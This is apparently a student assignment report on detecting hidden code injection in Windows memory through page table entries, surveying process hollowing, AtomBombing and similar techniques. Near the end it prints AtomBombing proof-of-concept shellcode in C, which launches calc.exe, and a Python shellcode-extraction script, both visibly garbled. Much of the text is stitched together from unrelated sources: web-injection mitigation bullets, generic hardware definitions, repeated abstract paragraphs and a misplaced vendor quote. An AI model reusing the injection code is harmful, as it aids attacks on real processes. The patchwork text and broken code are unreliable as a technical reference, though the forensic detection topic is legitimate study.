RECOGNISATION OF HIDDEN INJECTED CODE THROUGH PAGE TABLE

ENTRIES
Submitted by
M.SANDEEP (191711149)

In partial fulfillment for the completion of the

ASSIGNMENT-3

DEPARTMENT OF COMPUTR SCIENCE ENGINEERING

SAVEETHA SCHOOL OF ENGINEERING

SAVEETHA INSTITUTE OF MEDICAL AND TECHNICAL SCIENCES,

CHENNAI – 602 105

MARCH- 2020
 Rubrics for Assignment 3

Description Total Marks Marks

1. Implementation 50 Marks
(a) Demonstration 20 Marks
Project Implementation 10
Project Execution 5
Project Testing 5
(b) Presentation 20 Marks
Presentation Tools 10
Presentation Skill 10
(c) Viva 10 Marks
Technical Knowledge 7
Communication Skill 3
2. Documentation 50 Marks
(a) Problem Understanding (Assignment 1 10 Marks
Documentation)
Abstract 2
Introduction 2
Software Specification 2
Hardware Specification 2
Problem Statement 2
(b) Literature Survey & System Design
20 Marks
(Assignment 2 Documentation)
Reference Paper Overview (1*10) 10
Summary of Literature Survey (1 *10) 10
(3) Proposed System 10 Marks
System Architecture 4
Module Description 4
Data Flow Diagram 2
(4) Implementation 5 Marks
Sample Coding 2
Executed Screen Shots 2
Conclusion 1
(5) Plagiarism Report 5 Marks
Similarity <10 % 5
Similarity 10% up to 30% less 1 mark for 4 to 1
every 5% increase
Total 50 Marks
Faculty
 RECOGNISATION OF HIDDEN INJECTED CODE THROUGH PAGE TABLE
ENTRIES

ABSTRACT
Malware utilizes code injection techniques to either manipulate other
processes (e.g. done by banking trojans) or hide its existence. With some exceptions, such as
ROP gadgets, the injected code needs to be executable by the CPU (at least at some point in
time). In this work, we cover and evaluate hiding techniques that prevent executable pages
(containing injected code) from being reported by current detection tools. These techniques
can either be implemented by malware in order to hide its injected code (as already observed)
or can, in one case, unintentionally be taken care of by the operating system through its
paging mechanism. In a second step, we present an approach to reveal such pages despite the
mentioned hiding techniques by examining Page Table Entries.

INTRODUCTION
Memory forensics has become more and more important over the last decade
for different reasons: On the one hand, we observe malware that does not persist itself on a
persistent storage device and can only be observed in the running state of the victim host. On
the other hand, live analysis is not always capable of generating reliable results as the victim
host might be compromised with a kernel level Rootkit, using attack techniques that
effectively manipulate information gathered during the analysis. The presence of such
malware can be proven by analyzing a main memory image of the system (captured by one of
the many existing techniques, which we do not want to discuss here). Besides kernel level
mal-ware, there is also user space malware which uses its own set of techniques in order to
get its task accomplished. One such tech-nique are code injections.

Tools/plugins for code injection detection are not able to cope with the
existing injection techniques and fail to reliably reveal existing malware utilizing certain
hiding techniques. This is due to the in-formation they rely on, for example the VAD , which
has a protection field that plu-gins use to detect executable code. An attacker can, however,
create executable memory in a certain way so the VAD does not indicate that it is executable
and detection mechanisms won't report it. On the other hand, it is possible to exploit the
paging mechanism in order to hide injected code. As some plugins prevent to report empty
memory (filled with zeros or not yet allocated), they fail to report memory regions related to
code injection when the corre-sponding pages have been paged out. This can also happen
unin-tentionally, when the Operating Sytem writes malicious pages into the pagefile on
memory shortage.
Hardware Specification
Processor speed
The clock speed measures how fast a processor completes operations, usually
measured in megahertz and gigahertz. A 1.8GHz processor runs at 1,800,000,000 cycles
per second.

 Best high-end CPU: Intel Core i9-9900K

 Best mid-range CPU: AMD Ryzen 5 2600X

 Best Entry Level CPU: AMD Ryzen 3 2200G

Memory Capacity
Memory capacity. The memory capacity is the maximum or minimum amount
of memory a computer or hardware device is capable of having or the required amount
of memory required for a program to run.The amount of real memory in a computer is
limited to the amount of RAM installed. memory sizes can

 Low 256MB
 Medium 512MB
 High 1GB

Storage capacity
The maximum number of bits, bytes, words, or items that can be held in a memory system
such as that of a computer or of the brain.

 Low 10 GB
 Medium 250 GB
 High 1TB

Network requirement
A network computer is an inexpensive personal computer designed for a centrally-managed
network -- that is, data are stored and updated on a network server -- and lacks a disk drive,
CD-ROM drive or expansion slots. A network computer depends on network servers for
processing power and data storage.

1.The network medium: The network hardware that physically connects one computer to
another. This is the cable between the computers.

2. The network interface: The hardware that attaches a computer to the network medium and
acts as an interpreter between the computer and the network
Software Specification
Language for coding
The languages used for coding are :

C++

Python scripts

Tools
1. Remote Shellcode Injection :Remote Shellcode Injection is the simplest code
injection tech-nique, which consists of only three steps:
Allocate memory in the target remote process with EXECU-TE_READWRITE
protection.

Write the shellocde into the target process.

Execute the injected code.

2.Reflective DLL injection

The result of this technique is similar to a call of LoadLibrary by a victim

process: A new library is loaded in the context of the victim process. The loading process is,
however, not performed by an Operating System API but instead by a loader function within
the DLL itself. The attack steps are similar to Remote Shellcode Injection except that the
DLL is written into the allocated memory region. When the reflective loader within the DLL
is executed, it loads itself (the DLL) into a new memory region by performing the same tasks
as LoadLibrary. The result of a successful Reflective DLL Injection are hence typically two
new VADs in the victim process with EXECUTE_READWRITE protection and one loaded
DLL but without the unwanted side effects that result from a LoadLibrary call (the DLL will
for example not show up in the list of loaded DLLs).

3. Atom Bombing

The part, which the injection technique AtomBombing got its name from, is the
usage of Windows’ global atom table. An atom table is an indexed table, storing strings,
while the atom (a 16-bit integer) serves as the index. This table is exploited in order to make
data, originating from one process, accessible to another process. By combining the atom
table with the ability to instruct the target process to call a specific API
(GlobalGetAtomName), it is possible to write code from one process to another and hence, in
essence, re-builds the functionality of the API WriteProcessMemory. The more interesting
part of this technique for this work is where and how the injected data is stored, which
consists of two parts. The first is a

4. Process Hollowing

The general approach of this technique has not changed significantly from the first
known description in 2004 by and boils down to the following steps:
1. Create a process in the suspended state (ideally with a benign executable).

2. Unmap the memory region of the original executable (e.g. via the
ZwUnmapViewOfSection API).

3. Write the new executable to the victim process (e.g. via the WriteProcessMemory
API).

4. The start address of the suspended thread is patched with the one from the new
executable.

5. Thread is resumed (e.g. via the ResumeThread API).

5. Gargoyle

Gargoyle is not an injection but a hiding technique that can however be

applied to injected code. The trick of Gargoyle is to set the permissions of all pages
containing the malicious code to non-executable as long as the code doesn't need to run and
only sets them executable as long as the code is running.

 Using APIs that, if used properly, are secure against all input characters.
Parameterized queries (also known as "Compiled queries", "prepared statements",
"bound variables") allows for moving user data out of string to be interpreted.
Additionally Criteria API and similar APIs move away from the concept of command
strings to be created and interpreted.

 Enforcing language separation via a static type system.

 Input validation, such as whitelisting only known good values, this can be done on
client side using JavaScript for example or it can be done on the server side which is
more secure.

 Input encoding, e.g. escaping dangerous characters. For instance, in PHP, using the
htmlspecialchars() function to escape special characters for safe output of text in
HTML, and mysqli::real_escape_string() to isolate data which will be included in an
SQL request, to protect against SQL Injection.

 Output encoding, i.e. preventing HTML Injection (XSS) attacks against web site
visitors

 HttpOnly is a flag for HTTP Cookies that, when set, does not allow client-side script
interaction with cookies, thereby preventing certain XSS attacks.

 Modular shell disassociation from kernel

  With SQL Injection, one can use parameterized queries, stored procedures, whitelist
input validation, and more to help mitigate Code Injection problems.

The solutions listed above deal primarily with web-based injection of HTML or script code
into a server-side application. Other approaches must be taken, however, when dealing with
injection of user code on the user machine, resulting in privilege elevation attacks. Some
approaches that are used to detect and isolate managed and unmanaged code injections are:

 Runtime image hash validation – capture a hash of a part or complete image of the
executable loaded into memory, and compare it with stored and expected hash.

 NX bit – all user data is stored in a special memory sections that are marked as non-
executable. The processor is made aware that no code exists in that part of memory,
and refuses to execute anything found in there.

 Canaries – randomly place values in a stack. At runtime, a canary is checked when a

function returns. If a canary has been modified, the program stops execution and exits.
This occurs on a Stack Overflow Attack.

 [In C]Code Pointer Masking (CPM) – after loading a (potentially changed) code
pointer into a register, apply a bitmask to the pointer. This effectively restricts the
addresses to which the pointer can refer
Technical Feasibility
Malware utilizes code injection techniques to either manipulate other
processes (e.g. done by banking trojans) or hide its existence. With some exceptions, such as
ROP gadgets, the injected code needs to be executable by the CPU (at least at some point in
time). In this work, we cover and evaluate hiding techniques that prevent executable pages
(containing injected code) from being reported by current detection tools. These techniques
can either be implemented by malware in order to hide its injected code (as already observed)
or can, in one case, unintentionally be taken care of by the operating system through its
paging mechanism. In a second step, we present an approach to reveal such pages despite the
mentioned hiding techniques by examining Page Table Entries

Requirement
Tools/plugins for code injection detection are not able to cope with the
existing injection techniques and fail to reliably reveal existing malware utilizing certain
hiding techniques. This is due to the in-formation they rely on, for example the VAD , which
has a protection field that plu-gins use to detect executable code. An attacker can, however,
create executable memory in a certain way so the VAD does not indicate that it is executable
and detection mechanisms won't report it. On the other hand, it is possible to exploit the
paging mechanism in order to hide injected code. As some plugins prevent to report empty
memory (filled with zeros or not yet allocated), they fail to report memory regions related to
code injection when the corre-sponding pages have been paged out. This can also happen
unin-tentionally, when the Operating Sytem writes malicious pages into the pagefile on
memory shortage.

Literature Survey
PAPER[1]: Cryptomining Malware Goes Fileless, This paper states that Security vendors
reacted by improving their detection capabilities; however, as we have seen in the past, cyber
criminals remain one step ahead of the defenders, this time shifting to fileless techniques in
order to remain undetected. It provides an example of how malicious miners are evolving to
use advanced fileless techniques to succeed in mining Monero and spreading silently on a
global scale. In this attack, we also witnessed how competing miners are fighting each other
to generate more income for themselves, removing other miners on the endpoint. Minerva
Labs analyzed the attack and presents a novel way of turning the tables on mining attackers
by using their scripts to remove competitors, against them. The battle on exploitable endpoints
is fierce. This miner starts its operation only after eliminating the competition–killing any miner on
the endpoint that they can identify. The sample we analyzed implemented a wide range of
techniques, some weren’t reported before, including:

 Kill running miners using PowerShell’s “Stop-Process -force” command, detecting it

by a hard-coded blacklist

 Stop and delete miner blacklisted services by name using exe

 Remove miners that run as blacklisted scheduled tasks by the task name using exe

 Stop and removie miners by their commandline arguments, e.g. if one of the
arguments contains the word “*cryptonight*”–using WMI and PowerShell

 Stop and remove miners by going through the list of established TCP connections,
looking for ports associated with miners (the data is collected using exe)

PAPER[2] : Windows Virtual Address Translation and the Pagefile,This paper states that
the A fundamental capability of any memory analysis framework is to reconstruct the virtual
address space from the memory image. While in principle this task is documented by the Intel
or AMD programmer manuals, in practice one needs to take into account operating system
specific information to fully use all the information available.Rekall is the first open source
memory forensic framework to currently take advantage of the pagefile during the analysis of
windows systems. The WinPmem acquisition tool since version 1.6.2 is capable of
automatically capturing the pagefile during acquisition. Rekall translates virtual addresses
into their physical offsets - a pre-requisite to being able to read process and kernel address
spaces. Minerva Labs analyzed the attack and presents a novel way of turning the tables on
mining attackers by using their scripts to remove competitors, against them. The battle on
exploitable endpoints is fierce.

PAPER[3]: ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS

,This paper states that the development of complete endpoint protection, I started poking around
to see how hard it would be for a threat actor to find a new method that security vendors are
unaware of and bypasses most security products. It also needed to work on different processes
rather than being tailored to fit a specific process.

AtomBombing – a brand new code injection technique for Windows. AtomBombing works
in three main stages:

1. Write-What-Where – Writing arbitrary data to arbitrary locations in the target

process’s address space.

2. Execution – Hijacking a thread of the target process to execute the code written in
stage 1.
3. Restoration – Cleaning up and restoring the execution of the thread hijacked in stage
2.
A thread can only do this by calling one of the following functions with the appropriate flags:
 SleepEx
 WaitForSingleObjectEx
 WaitForMultipleObjectsEx
  SignalObjectAndWait
 MsgWaitForMultipleObjectsEx
 
 
When the thread enters an alertable state, the following events occur:
1. The kernel checks the thread’s APC queue. If the queue contains callback function
pointers, the kernel removes the pointer from the queue and sends it to the thread.
2. The thread executes the callback function.

PAPER[4] :REKALL FORENSICS ,This states that the Rekall is an advanced forensic and
incident response framework. While it began life purely as a memory forensic framework, it
has now evolved into a complete platform.  Rekall implements the most advanced analysis
techniques in the field, while still being developed in the open, with a free and open source
license. Many of the innovations implemented within Rekall have been published in peer
reviewed papers .Rekall provides an end-to-end solution to incident responders and forensic
analysts. From state of the art acquisition tools, to the most advanced open source memory
analysis framework. Rekall at a glance. Rekall Agent is a complete endpoint incident
response and forensic tool.  The Rekall Agent extends Rekall's advanced capabilities to a
scalable, distributed environment. The Rekall Agent is easy to deploy and scale,  based on
modern cloud technologies..
PAPER[5] : Analyzing a form-grabber malware, This paper states that the Stormshield
Security Intelligence team, my initiation ritual was to analyze a form-grabber malware used
to steal passwords thanks to web-browser injection method. In this article I’ll try to present a
detailed analysis of this malware, with emphasis on the web-browser injection part. The
malware is pretty old, its compilation time-stamp points out that it may have been used
during November, 2012. However, as we will see throughout this blog-post, it is still
effective against latest browsers (running in 32-bit mode). Xylitol, a security researcher, has
shared a sample of this malware on Virus Total at the end of 2012, but no public analysis
seems to be available on the Internet. Due to the lack of information about this malware, the
propagation method of this threat is unknown. Once a process’ name matches an expected
one, a call to OpenProcess() is used to get an handle on the targeted process. Then, a call to
VirtualAlloc() allows the malware to allocate an executable memory-area within the targeted
process address-space. This memory-area is used to store a copy of the PE file currently
running, by using its address base (pushed at the end of the 2nd packing stage) as a source
address. This is performed using WriteProcessMemory(). Now, the entire PE is mapped
within the targeted process address-space, and a last call to CreateRemoteThread() allows the
injected thread to start running.Since the malware doesn’t pass any variable to the thread
function, the remote thread doesn’t know in which process it is running.

PAPER[6] : Surveying the user space through user allocation,This paper states
that the, Memory forensics provides a valuable way of analysing the contents of physical
memory, in order to obtain transient information that would not necessarily be present on
disk. Previous research in this area has focused on understanding and interpreting the layout
and contents of the kernel portion of memory, in order to facilitate the development of
memory analysis tools that recreate the capabilities of previously used live response tools.
While this work has been invaluable, allowing the examination of processes, drivers, network
sockets and other useful artefacts, it has not been taking into account the full picture.
Previous research has focused almost exclusively on the data the operating system it self is
using, not the dataof the user applications running on that operating system. As a result, the
data and data structures used by these applications have not been examined, resulting in a
lack of methodologies for understanding and interpreting this application data. Without such
methods, it is not possible

PAPER[7] : Memory Protection Constants,This paper states that the,

PAGE_EXECUTE Enables execute access to the committed region of
0x10 pages. An attempt to write to the committed region
results in an access violation.
This flag is not supported by the CreateFileMapping
function.
PAGE_EXECUTE_READ Enables execute or read-only access to the committed
0x20 region of pages. An attempt to write to the committed
region results in an access violation.
Windows Server 2003 and Windows XP: This
attribute is not supported by the CreateFileMapping
function until Windows XP with SP2 and Windows
Server 2003 with SP1.
PAGE_EXECUTE_READWRIT Enables execute, read-only, or read/write access to the
E committed region of pages.
0x40 Windows Server 2003 and Windows XP: This
attribute is not supported by the CreateFileMapping
function until Windows XP with SP2 and Windows
Server 2003 with SP1.

PAPER[8] : VirtualProtectEx function This paper states the access protection value can be
set only on committed pages. If the state of any page in the specified region is not committed, the
function fails and returns without modifying the access protection of any pages in the specified
region.
The PAGE_GUARD protection modifier establishes guard pages. Guard pages act as one-
shot access alarms. For more information, see Creating Guard Pages.

It is best to avoid using VirtualProtectEx to change page protections on

memory blocks allocated by GlobalAlloc, HeapAlloc, or LocalAlloc, because multiple
memory blocks can exist on a single page. The heap manager assumes that all pages in the
heap grant at least read and write access.

When protecting a region that will be executable, the calling program bears
responsibility for ensuring cache coherency via an appropriate call to FlushInstructionCache
once the code has been set in place. Otherwise attempts to execute code out of the newly
executable region may produce unpredictable results.

PAPER[9] : A Deep Dive Into RIG Exploit Kit Delivering Grobios Trojan
This paper states that the Grobios uses various techniques to evade detection and gain
persistence on the machine, which makes it hard for it to be uninstalled or to go inactive on
the victim machine. It also uses multiple anti-debugging, anti-analysis and anti-VM
techniques to hide its behavior. After successful installation on the victim machine, it
connects to its command and control (C2) server, which responds with commands.In an effort
to evade static detection, the authors have packed the sample with PECompact 2.xx. The
unpacked sample has no function entries in the import table. It uses API hashing to obfuscate
the names of API functions it calls and parses the PE header of the DLL files to match the
name of a function to its hash. The malware also uses stack strings. Figure 6 shows an
example of the malware calling WinApi using the hashes.
 PAPER[10] : Detecting Deceptive Process Hollowing Techniques Using HollowFind
Volatility Plugin this paper states that Process Hollowing or Hollow Process Injection is a
code injection technique in which the executable section of a legitimate process in the
memory is replaced with malicious code (mostly malicious executable). This technique is
used to blend in malware as a legitimate process and using this technique attackers can cause
a legitimate process to execute malicious code. The advantage of this technique is that the
path of the process being hollowed out will still point to the legitimate path and by executing
within the context of legitimate process the malware can bypass firewalls and host intrusion
prevention systems. For example if svchost.exe process is hollowed out the path will still
point to the legitimate executable (C:\Windows\system32\svchost.exe), but only in the
memory the executable section of svchost.exe is replaced with malicious code, this allows the
attackers to remain undetected from live forensic tools.

 Process A starts a legitimate process B in the suspended mode as a result of that the
executable section of process B is loaded in the memory and also the PEB (process
environment block) identifies the full path to the legitimate process and PEB’s
ImageBaseAddress points to the address where the legitimate process executable is loaded.
 Malware process A gets the malicious code (mostly executable) to inject. This code
can come from the resource section of the malware process or from the file on the disk
 Malware process A determines the base address of the legitimate process B so that it
can unmap the executable section of the legitimate process. Malware can determine the base
address by reading the PEB (i.e PEB.ImageBaseAddress).
 Malware process A then deallocates the executable section of the legitimate process
 Malware process then allocates the memory in the legitimate process with read, write
and execute permission, this memory allocation can is normally done at the same address
where the executable was previously loaded.
 Malware then writes the PE Header and PE sections of the executable to inject in the
allocated memory.
 Malware then changes the start address of the suspended thread to the address of entry
point of the injected executable.
 Malware then resumes the suspended thread of the legitimate process, as a result of
that the legitimate process now starts executing malicious code.

1. Transition state
If the Valid flag is unset, the MMU does not process the PTE any further but a
page fault is generated where the Operating System will interpret the state of the PTE and act
accordingly . While a MMU PTE in transition state is not valid (has an unset Valid flag), the
corresponding physical page is still available and the PageFrameNumber still points to it.
This state is, as the name sug-gests, a transition phase from an active state into another one
(the next state depends on the type of memory) and gives the process a last chance to access
the page before it is removed from its working set and the physical page freed for other
content. This state can, similar to the hardware state, be reached for private and shared
memory. The struct to apply in this case is _MMPTE_TRANSITION and a MMU PTE in
this state has the Valid and Prototype flag unset and the Transition flag set.

2. Proto-pointer PTE
 In this state, the MMU PTE is an instance of _MMPTE_PROTOTYPE and
should not be confused with a prototype PTE: It serves in fact as a pointer to a prototype PTE
and hence is called in this work a proto-pointer PTE . A proto-pointer PTE has the Valid flag
unset and the Prototype flag set. The proto-pointer PTE is only used in the context of shared
memory and only occurs when the corresponding physical page has been accessed before, but
is currently not anymore in the working set .

3. Pagefile state
Another invalid state occurs when the physical page has been written to the
pagefile (paged out). This state is represented by a MMU PTE instance of
_MMPTE_SOFTWARE, where the Valid, Proto-type and Transition flags are all unset but
the PageFileHigh field has a non-zero value . In this case, the page's content cannot be read
anymore from RAM but must be gathered from the pagefile.

4. Unaccessed state
This initial MMU PTE value is in this case zero and changed when the page is
accessed for the first time. For private memory, such a PTE state is also called demand zero,
as on access, a page of zeros is mapped in the process' address space . The unaccessed state
also occurs for all types of shared memory, while in this case a page access typi-cally leads to
the mapping of already existing memory into the process' address space. Besides the MMU
PTE value of zero, there are two known cases where a not yet accessed page has a non-zero
PTE value. The first is the result of changing the protection of a page in the unaccessed state.
The new protection is then stored in the Protection field (can be read by applying the
_MMPTE_SOFTWARE struct), while all other fields remain zero. The only exception from
this are mapped image files. When the protection of a not yet accessed image file's page is
changed, it goes into the proto-pointer state.

5. Large and huge pages

It is possible to allocate large and huge pages that have a size of 2-Mbyte and
1-Gbyte accordingly on x86 architectures . “Some processors support configurable page
sizes, but Windows does not use this feature. While the physical page for normal sized pages
are referenced by the entries in the Page-Table (ignoring all special cases right now), large
pages are referenced by an entry in the Page-Directory Table and huge pages by an entry in
the Page-Directory-Pointer Table .

6. Evaluation with code injection PoCs

The detection rate gets worse when the malicious pages are paged out.
In this case, malfind, malthfind and hashtest do report none of the executable pages (only
hashtest does at least print the memory region, but states that zero executable pages are
contained in it) while Psinfo does now only report the Process Hollowing related pages.
Furthermore, atombombing and Gargoyle_a/Gargoy-le_m_a are not detected by any plugin,
except ptenum.

7. Evaluation with malware

The malware samples evaluated in this Section have been picked for
their code injection behavior, as they implemented some hiding techniques. Their analysis
was done with API monitoring and a before and after comparison of memory dumps. In the
following we describe the code injection/hiding specific behavior of each mal-ware sample
that was present at the time of the memory dump with a focus on anonymous memory. If not
specified otherwise, the allocated memory is private.

2.Algorithm
Input Parameters & Output Parameters
The evaluation is done based on the following input parameters that are listed below in the
table and as such the out parameters is also mentioned to the following input parameters.

Logic
The attack technique has been labeled 'AtomBombing'. It manipulates Windows' underlying
Atom Tables mechanisms. Atom Tables are used to hold data strings. Applications place the
strings into the table and receive back an 'atom' identifier for the string.

Windows has several different Atom Tables for different purposes. The Global Atom Table
can be used to share data between different DDE applications. "Rather than passing actual
strings, a DDE application passes global atoms to its partner application. The partner uses the
atoms to obtain the strings from the atom table," explains Microsoft's own data
sheet. discovery that an attacker can write malicious code into an atom table, and force a
legitimate program to retrieve that malicious code. Furthermore, wrote Liberman, "We also
found that the legitimate program, now containing the malicious code, can be manipulated to
execute that code."

The result is that maliciousness has been passed from an unknown malicious application to a
known good application or process. While security defenses are on red alert to detect and
block malicious applications, they often whitelist known good applications or processes. That
is the attraction of 'code injection' as an attack vector: where it can be achieved, it can be
used, notes Liberman, "to bypass security products, hide from the user, and extract sensitive
information that would otherwise be unattainable."

Two examples of how AtomBomb code injection can help the attacker to access context-
specific data. The first is taking screenshots. Processes can only do this from within the
context of the user's desktop. Malware, however, usually lands in the services desktop, and is
unable to execute user screenshots. AtomBombing would allow the attacker to inject code
from the services desktop into a process already running within the user desktop, take the
screenshot, and pass it back to the malware in the services desktop.

The second example is access to encrypted passwords. Chrome, for example, encrypts users'
stored passwords using the Windows Data Protection API (DPAPI) together with data
derived from the current user. Again, passwords can only be accessed from within the user
context -- which AtomBombing can achieve. "If the malware injects code into a process that's
already running in the context of the current user," writes Liberman, "the plain-text
passwords can be easily accessed."

The problem for users is that AtomBombing cannot be fixed -- it's the way Windows works.
With no chance of a patch, the solution is some other form of mitigation. enSilo believes the
issue is another argument for a shift of emphasis from attack prevention to consequence
mitigation. "Under the assumption that threat actors will always exploit known and unknown
techniques, we need to build our defenses in a way that prevents the consequences of the
attack once the threat actor has already compromised the environment.

code
typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName);

typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName);

typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow);

typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert);

typedef struct _FUNCTIONPOINTERS

pfnLoadLibraryA pfnLoadLibraryA;

pfnGetProcAddress pfnGetProcAddress;

} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;

FUNCTIONPOINTERS g_FunctionPointers;

void shellcode_entry();

__declspec(naked) void fix_esp()

{
 __asm{

mov eax, edi;

add ax, 0xc4;

mov esp, [eax];

sub sp, 0x1024;

// This is needed for alignment purposes

nop;

nop;

nop;

void shellcode_entry()

PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337;

pfnWinExec pfnWinExec;

pfnZwContinue pfnZwContinue;

void * ptContext;

void * hKernel32;

void * hNtDll;

char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };

char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };

char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'};

char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' };

char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };

__asm{

mov[ptContext], edi;

}
 hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32);

if (0 == hKernel32)

goto lblCleanup;

hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll);

if (0 == hNtDll)

goto lblCleanup;

pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue);

if (0 == pfnZwContinue)

goto lblCleanup;

pfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec);

if (0 == pfnWinExec)

goto lblCleanup;

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

lblCleanup:
 return;

void dummy()

int dummy = 0xDEADBABE;

#include <Windows.h>

int main()

g_FunctionPointers.pfnGetProcAddress = GetProcAddress;

g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA;

fix_esp();

shellcode_entry();

dummy();

PYTHON SCRIPT :
import pefile

import sys

import os

DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3"

def main():

exe_path = sys.argv[1]

pe = pefile.PE(exe_path)
 print "Starting!"

output = ""

text_section = ""

for section in pe.sections:

if ".text" in section.Name:

print (section.Name, hex(section.VirtualAddress),

hex(section.Misc_VirtualSize), section.SizeOfRawData )

text_section = pe.get_data(section.VirtualAddress,
section.SizeOfRawData)

binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)]

for byte in binary_shellcode:

output += "\\x%x" % ord(byte)

output = "#define SHELLCODE (\"%s\")" % output

folder, file_name = os.path.split(exe_path)

base, _ = os.path.splitext(file_name)

print os.path.join(folder, base+".h")

open(os.path.join(folder, base) + ".h", "wb").write(output)

open(os.path.join(folder, base) + ".text", "wb").write(text_section)

open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode)

if __name__ == "__main__":

main()

CONCLUSION :
In this work, we demonstrate that it is possible to prevent injected code
from being reported by current code injection detection plugins. We introduce a novel approach
that is able to detect executable pages despite any intentional (or unintentional) hiding technique .
Only DEP with paged out pages and Gargoyle were successful in hiding from our plugin, but this
behavior is expected as the affected pages are not executable. We implemented a Rekall plugin that
leverages our introduced approach, which we publicly release alongside with this paper. Because our
plugin reports all executable pages (with the mentioned exclusions), no matter if they are part of a
code injection or benign, it can produce a huge amount of data that would need to be investigated.
The main problem are modified pages of mapped image files as described in the work by White et al.
(2013). As the plugin supports to omit those, it can be used as an improved malfind plugin (but
would miss code injections in mapped image files). Otherwise, it is not suitable forlarge processes
but can be used for small ones orin a before vs. after comparison. This is why our plugin should be
integrated with code injection detection plugins, in particular hashtest, in order to strip benign data
and improve their results. As we rely on the paging structures to identify executable pages, our
approach does not work if the page tables are paged out and the pagefile is not given. For these
cases, a fallback mechanism should be implemented which investigates all VADs, similar to the
existing malfind plugin. This fallback will, however, again be prone to the hiding techniques
described in this work. While it would be possible to enumerate the PFN DB in order to gather page
protections.this will only work for pages in hardware and transition state, as all others have no
associated PFN DB entry.

Reference Sources
[1] Aprozper, A., Bitensky, G., 2018. Ghostminer: Cryptomining Malware Goes Fileless
[Visited on 22.11.2018]. URL. https://blog.minerva-labs.com/ghostminercryptomining-
malware-goes-fileless.

[2]Cohen, M., 2014. Windows Virtual Address Translation and the Pagefile [Visited on
19.12.2018]. URL. http://blog.rekall-forensic.com/2014/10/windows-virtualaddress-
translation-and.html.

[3]enSilo inc, 2016. Atombombing: Brand New Code Injection for Windows [Visited on
20.09.2018]. URL. https://blog.ensilo.com/atombombing-brand-new-codeinjection-for-
windows.

[4]Google Inc, 2018. Rekall memory forensic framework [Visited on 23.09.2018]. URL.
http://www.rekall-forensic.com.

[5] Jullian, R., 2017. Analyzing a Form-Grabber Malware [Visited on 22.11.2018].URL.

https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabbermalware-targeting
browsers/ .

[6] White, A., Schatz, B., Foo, E., 2012. Surveying the user space through user alloca-tions.
Digit. Invest. 9. S3eS12, [Visited on 15.01.2019]. URL. https://www.dfrws.
org/sites/default/files/sessionfiles/papersurveying_the_user_space_through_user_allocations.
pdf.White, A., Schatz, B., Foo, E., 2013. Integrity verification of user space code.
Digit.Invest. 10, S59eS68.Yosifovich, P., Solomon, D.A., Ionescu, A., 2017. Windows
Internals, Part 1: System Architecture, Processes, Threads, Memory Management, and More.
Microsoft Press.

[7] Microsoft Corporation, 2019. Memory Protection Constants [Visited on 19.01.2019].

URL. https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-
constants.

[8] Microsoft Corporation, 2019. Virtualprotectex function [Visited on 09.01.2019]. URL.

https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899 (v¼vs.85).aspx.

[9] Muhammad, I., Ahmed, S., Faizan, H., Gardezi, Z., 2018. A Deep Dive into Rig Exploit
Kit Delivering Grobios Trojan [Visited on 22.11.2018]. URL. https://www.fireeye.
com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-
trojan.html.

[10] Monnappa, K.A., 2017. Detecting Deceptive Process Hollowing Techniques Using
Hollowfind Volatility Plugin [Visited on 09.01.2019]. URL. https://cysinfo.com/ detecting-
deceptive-hollowing-techniques/